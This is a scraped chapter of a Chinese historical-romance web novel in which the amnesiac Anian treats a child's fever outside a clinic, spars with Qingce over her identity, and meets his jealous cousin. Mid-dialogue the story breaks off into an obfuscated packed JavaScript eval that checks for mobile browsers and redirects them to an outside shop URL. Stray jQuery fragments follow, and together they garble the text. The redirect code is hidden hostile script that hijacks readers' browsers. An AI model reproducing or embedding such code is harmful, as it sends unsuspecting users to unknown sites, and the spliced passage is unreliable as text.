默认冷灰
24号文字
方正启体

3. 里似不似有被害妄想症

作者:黄河长江入海流本书字数:K更新时间:
    “话说你偌大一个将军府没府医吗?”


    青策同她肩并肩走在街上,看着如今光景默默对比起往日景象:“初才回来,还未寻得。”


    “你今日不忙吗?”


    “休沐。”


    ……


    医馆门口向来大排长龙,还有许多插队的被唾骂声声赶来队尾,场面嘈杂又紊乱,气压极低。


    一旁儿科多是带孩子的父母,一个妇人抱着瘫软的孩子小跑上前,事态似乎十分紧急,可劲恳求前人让位。可谁又肯让自己的孩子多受一时之苦。


    寻求无果后,看着自觉危在旦夕的孩子,又见眼前茫茫无际,人山人海的队伍,妇人心急如焚的跑到队尾越等越着急。


    冰凉的眼泪打落在孩子粗布精织的衣裳上,一滴接着一滴不见干涸。


    前头一人牵着个大胖小子冷哼:“这不是西街的淑娘子吗,伺候不好婆家被休,还非得抢孩子。从前有家人照料就没见孩子生什么病,她爹爹好歹是府衙做差的,放着好日子不叫过,跟你这么个卖豆腐的娘吃苦受罪。”


    淑娘子闻言担心的脸上露出不屈的神色:“你胡说,从前是病了那家人都不给看,搪塞过去拖坏了身子。我那前夫婆母给了多少钱,叫你处处造谣,在这医馆前也不积德!”


    “嘿呀谁知道你…”


    怀中的小孩本就难耐,如今嘈杂的环境加上剑拔弩张的气氛叫她不安的大哭起来。


    阿念下意识加快脚步来到妇人身边,轻探出手摸了摸孩子的额头,掐住滚烫的肉脸迫使小嘴张开来瞧:“应当是乳蛾引起的发烧,这个不打紧的,小青你去医馆给我要根三棱针来。”


    对于这个突如其来的称呼青策的大脑有一瞬的空白,但时间紧迫没有多想就进了医馆取针。


    里头的大夫闻言,不拿药拿针,莫名其妙的看他一眼,忙的不耐烦道:“不给。”


    青策也后知后觉,不是他干嘛来的?为什么要这么听话,不是她是大夫吗她就上?


    淑娘子也楞楞的看着这个陌生人,本能的抱着孩子一躲,阿念冲她和善的笑了笑:“相信我。策啊?针呢?人呐?”


    前头大胖小子他爹继续落井下石,不屑笑道:“你这自己会医术还来看病,骗子来的吧。”


    众人也纷纷投来狐疑的目光,劝妇人别信:“他们穿的非富即贵,别是空有表面功夫的富家子弟,拿我们普通人当猴耍。”


    阿念逞能逞到一半,突然回神过来,脚趾抓地,空眨了眨眼。话说,自己好像确实是个记忆全无的病人,怎么就下意识上来了,怎么还懂什么什么乳蛾,乳蛾是什么?好像是喉咙里长俩肉球。


    青策面色铁青,无语的折返回来喊她进去:“你又不是医师少耽误别人,过来。”


    阿念垂眸,过街老鼠一般低着头,明明是大晴天,她这处却局部降雨了,小步挪动着步子。


    那胖娃的爹最为可恶,竟哈哈大笑:“真是个绣花枕头稻草包,还来路见不平一声吼,简直叫人笑掉大牙哈哈哈哈哈!”


    淑娘子虽然被她适才的突兀举动吓到,但还是在她被千夫所指的时候往前迈了一步:“谢谢。”


    径直被带到后院,阿念弱小的心灵似受到了打击,心不在焉的抬起一丝丝头颅:“不用排队吗?”


    一个老头慢慢悠悠的从屋里走来:“怎么啦?”


    青策指了指她的脖子:“有些擦伤。”


    老头无语的看着他,碍于对方身份偷偷发作:“没什么大碍,开点药抹抹就好,这再晚来些都要愈合了。”


    阿念盯着老头:“你是大夫?”


    老头见她楞头楞脑问出怎么个问题,倒还笑呵呵逗她:“不错,这整家医馆乃老夫所建,坐诊者皆为我关门弟子,怎么你也有这方面兴趣?”


    “有点。”


    阿念一言不合拉起满头华发的老头就往处走,青策懵了,赶忙追上她:“喂你干嘛?”


    馆长也懵了:“诶诶!小姑娘有话好好说,你意欲何为啊?”


    她一言不发的拽着人竞走,一身牛劲拉也拉不住。直到回到淑娘子面前,才开口道:“娘子,您瞧好了,这个是正儿八经的医师,这整个医馆都是他开的。”


    淑娘子楞楞的看着,转念欢喜的连连道谢:“谢谢谢谢,老先生可否帮我儿看看。”


    排队的众人顿时无语:“诶有你们这样的!”


    也有认识馆长的想要跑来预约至尊专家号,阿念表情冷峻,昂头抬手先一步制止了混乱的队伍,气氛还真就被她唬住。众目睽睽之下,她对这那孩子道:“先生,您看看这是不是乳蛾引起的发烧?”


    老馆长检查一看,满脸疑惑但还是顺着她的话走,想看看这葫芦里卖的什么药:“诶…确实如此呀。”


    阿念又指了指孩子的脖颈下端,大拇指以及二指外侧:“她烧的厉害,若要治疗,是否先该施针放血,让高热退却,随后夏枯草五钱,一个鸡蛋两碗水煮成一碗,喝汤吃蛋。”


    馆长拳头击掌:“嘿呀还是个老偏方,的确如此,的确如此。”


    阿念邪魅一笑,直勾勾的盯着胖小子他爹,挑眉挑衅道:“如何呢?你刚刚说谁是骗子?人家跟爹跟娘你也要管,家住河边吗管的这么宽。”


    胖爹见此吃瘪不语,阿念双手抱胸仰天长笑,又狂又拽又阴阳:“哼哼,遇到难回答的问题又不说话了。”


    所以接下来的烂摊子怎么收拾,这对前面排队的人也太不公平了。阿念面对着即将到来的灾难,继续维持胜利者姿态,表面支撑着笑容,侧面疯狂冲青策眨眼求救。


    真要帮,把人偷偷拉进去都比这好。她到是拉风了,青策无语命侍卫管理好秩序:“老先生,您看今日可否也从旁坐个诊。”


    馆长看了看阿念,捋着胡子摇摇头哼哼笑道:“今儿也是见着个奇人,也罢我这老骨头还能撑撑。”


    于是,不太急的都去了至尊专家号,紧急的也得以加快了速度。


    阿念觉得新奇跑去老头一旁当起了助手,青策虽面色不悦但也未走,默默靠在一旁。


    轮到小胖子,短短几瞬,阿念同他爹眼神大战三百回合。


    “你孩子没什么大碍,就是吃太多了积食,开点山楂丸即刻。记住饮食要规律。”


    “哈哈哈哈哈!”


    阿念闻言捧腹大笑,胖爹怒急指着她就要上前。


    “略略略。”她灵敏的躲到了老头子身后。


    日头渐中,老馆长收拾完烂摊子,打着哈切就回屋了,阿念累的往处便是一坐。眼见青策还杵在那块,叫人猜他不好惹面具下的情绪。


    “小青,坐呀。”


    青策面色极为不悦的坐下,压着声音说道:“我竟不知与你已如此相熟。”


    “那怎样才算相熟,知根知底还要认识个三五年?我觉得你为人不错,话也投机还给我吃穿,我便与你交心视你为友,不该这般吗?还是人就该虚与委蛇,隔着一层纱布自相残杀。那太子与他的兄弟倒是相知相熟,走在路上跟仇人一般。”阿念说完撇了撇嘴撞了他一下,询问他的意见。


    青策有点失策,看她的表情上带着些讶异。沉默良久,转回眸子多了些郑重,面色也增添些许柔和:“你说的对,是我错了。在这漩涡中盘旋太久,忘却了世间还有你这般率真的人。”


    阿念甩手,呵呵笑道:“倒也不必这般捧我,那你便请我吃街角那家糖葫芦赔罪呗,可以吗?”


    刚买完糖葫芦,她利索接过嗷呜一口,东张西望的逛起街来。


    青策看着她突然道:“你怎么会医术,普通丫鬟没这能耐。”


    阿念转过头来,无懈可击的美貌下看不出一丝破绽。


    “好像…确实。但万一的医侍呢?”


    “表哥说过嫂嫂会医术,而且也不体弱多病,从前可是女扮男装多次赈灾奔走,自己都会的本领,还随身带医侍做什么?”


    “那你会不会武功?还带侍卫做什么。”


    “这一样吗?”


    她眯眼摸摸下巴:“她会医术还学以致用屡次赈灾帮扶,身边的人不会耳濡目染吗?况且适才那些都是小病,有些常识的家庭都晓得吧?”


    “嫂嫂身边总带的一共两位,扬州之战都殁了…”


    阿念突然捂嘴顿步,一双漂亮的眸子认真的看着他:“天,我不会是你嫂子吧,我去,你看,你嫂子会医术我也会。传言道她乃名冠都城的绝色美人儿,我偏偏也这般貌美如花,天啊,你快带我去见那个太子,我的荣华富贵就仰仗你了!”


    青策刚被她带入一个可怕的假设,又被她的自恋和夸张拉了出来,口是心非道:“就你?莫竹姐姐可是很有涵养的,怎么说的出你这些话来。我可以带你去,但别到时候拆穿了你什么不可告人的细作身份,那你可就死无全尸了。”


    她忽的垫脚,直勾勾盯着他的眼睛。


    青策本就心虚,没敢正眼瞧她,这下脸唰一下,控制不住的红透半边天,后撤推肩隔开距离:“你…干嘛!”


    阿念摇了摇头,转身继续啃葫芦:“谁知道呢,照照镜子呗。说来也对,本人如花似玉的年纪可没有那位千金那么年长。


    她回眸语重心长道:“还有,大哥你被害妄想症真的有些严重,我若真是细作,伪装还来不及,干嘛暴露自己?那天我还能刚好撞你车上了,无巧不成书,人为的可没如此天然。”


    青策握拳偏头:“有你这么照镜子的,你别口无遮拦的。莫竹姐姐当年为了殿下不容易,死后还被人砍下了胳膊抛尸荒野。”


    阿念不解的甩了甩小臂:“你怎么知道?”


    “废话,当年三皇子为了诛殿下的心,将烤焦的手臂连着嫂嫂常年不离身的镯子一道送入了宫。”


    就近找了个摊,她坐下无心的拿起菜单一通乱指:“诶,怎么和我以前听的不太对?三皇子不是好的吗,还救了太子。话说干嘛寄个手来,不应该是头吗?手他万一造假怎么办?”


    青策无语挑眉道:“哪有这么多万一,打听这么多干嘛,你别真是倭寇派来的奸细。”


    砰的一拍桌子,阿念无语的指着他:“天,骂的太脏了你,不带这么骂人的。你不仅眼盲心瞎,简直还有极为严重的被害妄想症。本姑娘这般天生丽质,沉鱼落雁,闭月羞花,人见人爱,花见花开…”


    “停,停。我现在也想知道你究竟是个谁。”


    “是你!”


    两人闻言楞楞抬头,巧同刚出店门口的胖爹打了个照面,胖率先认出了这两个家伙:“吃我一击!”


    啪的,直接甩出了爱宠。


    阿念一脸惊恐:“啊!蟑螂!我去,你们这家店简直不卫生啊!”


    飞舞的大强震撼袭来,她拉着青策便夺命狂奔一口气跑回了府。


    阿念气喘吁吁的半蹲下来,扎着马步缓冲。还不忘安抚道:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239489|197665||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “不必…言谢,我这人,忠,义。”


    马步支撑没多久,便成了个草坪上的人形大字。阿念喘着粗气瘫倒在芬芳的土地上感叹:“我去,世界真是太小了,还好有惊无险。喝…喝…喝…累到本…”


    “你怕蟑螂?”青策倒是呼吸均匀,没事人一般,闲庭信步,不疾不徐的在她身旁坐下。


    “没话找话呢,你不怕?”阿念皱眉瞪他一眼,报复性咬下一口糖葫芦,酸的叫人口齿生津,甜的叫人舌苔起膜。


    大树荫下,草青地软,阳光和煦,风也清甜。


    慢慢的呼吸逐渐平稳,芳草萋萋,树荫袅袅,眼前青青,耳边莎莎,心中静静。


    “我究竟是谁?”


    “你究竟是谁?”


    两人几乎异口同声的看向对方。


    目光交汇,阿念叹息着摇了摇头:“真不记得,一点都没有印象。”


    青策放松下来,头一次细细打量起她。初时干瘦,脸上毫无血色,加上受了伤脑门缠个绷带,更是一副命不久矣的虚弱模样,活像个干尸。如今在家中养的越发标志,白皙的皮肤焕发光泽,好似,弹嫩水光肌。苍白的唇瓣转为红缨,如此,饱满好唇形。


    尤其是眼眸,如宝钻般熠熠生辉,蕴藏在丛林之中夺目又稀缺。微扬睫毛忽闪忽闪,恰似蝶翼。笑眯起来又如一轮浅月。运动过后,薄汗微出,淡香盈盈,面颊红扑,自然的韵味,格外柔美。


    风已静花却落,透薄的叶瓣一荡一荡,轻飘轻飘,落在鼻尖。大概是适才的阴影未消,她竟当成了虫子,从地上一个弹射,连拍带吐,不顾形象的模样实在般率性可人,逗的人捧腹大笑。


    弄清楚何物后,被看戏的阿念怒吼道:“你笑什么笑!知道不早说,看人出丑是什么恶趣味!”


    “抱歉,哈哈哈哈哈哈。”看他这个样子青策更想笑了,简直直不起腰来,就差笑的在地上打滚了。


    阿念冲过去就十成十的捶,没动过的糖葫芦横着往他嘴里怼:“我叫你笑,你再笑啊!”


    青策被糊了一嘴糖哭笑不得,她也真的牛劲,门牙都快被糊下来。刚想把人推开,一声持久且高亢直冲云霄的尖叫,把两人都吓了一耸。


    “啊啊啊啊!你们,你们成何体统!哪来的野女人快从策哥哥身边滚开呀!啊啊啊啊啊!”


    后头来了位穿着华服的女子,她被丫鬟搀扶着,怒目圆睁的指着他们,感觉气的头上都在冒烟了。


    阿念转头呆若木鸡的起身,像个做错事的学生,看起来还有一丝丝的胆怯,她略微缩脖眼神示意青策:这是谁?


    看她这种窝里横的样子真是逗,青策左手拇指拂过嘴唇擦去糖渍,右手利落的撑地而起:“我表妹,玥莹瑶。”


    玥莹瑶气冲冲的走到她们跟前,阿念偷偷打量。她表情的委屈又生气,神态娇蛮,指着自己的一双素手细嫩白皙,一看就是养在闺阁中的大小姐,惹不起。


    又见她望向青策的眼神,那分明是在吃醋。完了完了罪过罪过,这宁拆十座庙不毁一桩婚,如若两人早就是一对,那自己的动作简直太不可取了。她内心腹诽,自己的身姿很曼妙。


    阿念赶忙俯首作揖:“原来是少爷的妹妹,小的该死刚见少爷头上有虫,不得以而为之,一时失了分寸还请小姐见谅。”


    月莹瑶叉着腰冷哼一声,随后变脸般转向青策:“青哥哥这是哪来的奴婢,我怎么未曾见过,你何时身边带女人了?”


    “与你何干?”青策不冷不热的撂下句话拉着阿念就走,徒留她原地干瞪眼。


    走出一段路,本在吃瓜的阿念浑身像是被灌了铅,一下挣开青策的手,疑惑问道:“她爱慕你,你就算不喜欢,不可以好好说开,怎如此对待一个满心满眼都是你的姑娘?”


    青策转过身来面对着她,挺拔的身姿遮住了正午的烈阳。他的表情平静似又无奈:“儿时我帮过她一个小忙,大概从此,她对我有了丝好感,但那不过是少儿之间的友情。然而就是这一丝的好感便成了深宅大院里的喜欢,爱慕,人人都在给她灌输我们是良配,包括她的家人我的家人。当我发现之时也曾与她说道,可时间太久已成执念我无法劝说她,连普通表兄妹之间的情谊,甚至是正常朋友般相处,都能被添油加醋的误会。我不想让这个误会继续延伸,阿念你明白吗?”


    闻言她竟有些说不出话来,但就现在的情况来看即使冷淡,也不代表月莹瑶会放弃。何况人性,越得不到越是心痒难耐,不合适的感情在开端就注定难以善终。


    阿念上前拍了拍他的肩膀,两人对视,神色是同样的惆怅,接下来的路程相伴无言。


    次日清晨丝丝缕缕的阳光洒进暖阁,阿念伸了个懒腰,走到窗前推开木扇,迎接春日。


    生发之气扑面而来,天蓝桃花香,真是个好日子,适合干点什么呢?


    正打量着镜中自己她猛然想起个事:“坏了,我不是要走?”


    想什么来什么,门被打开,这些日子颇为照顾她的姐姐巧笑着递来封书信:“你可识字?要不要我读给你听呀?”


    阿念一瞅署名青策,她笑着摆了摆手:“谢谢姐姐,识得,识得。”


    :因你疑点重重,所以别想着离开。有关相府的身世,不管是你失忆前为了得救的胡诌,亦或是真有瓜葛,我会在不打草惊蛇的情况下找来相府的人见你。这些年太多骗子假传消息骗取赏赐,我不想再叫表哥伤心。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)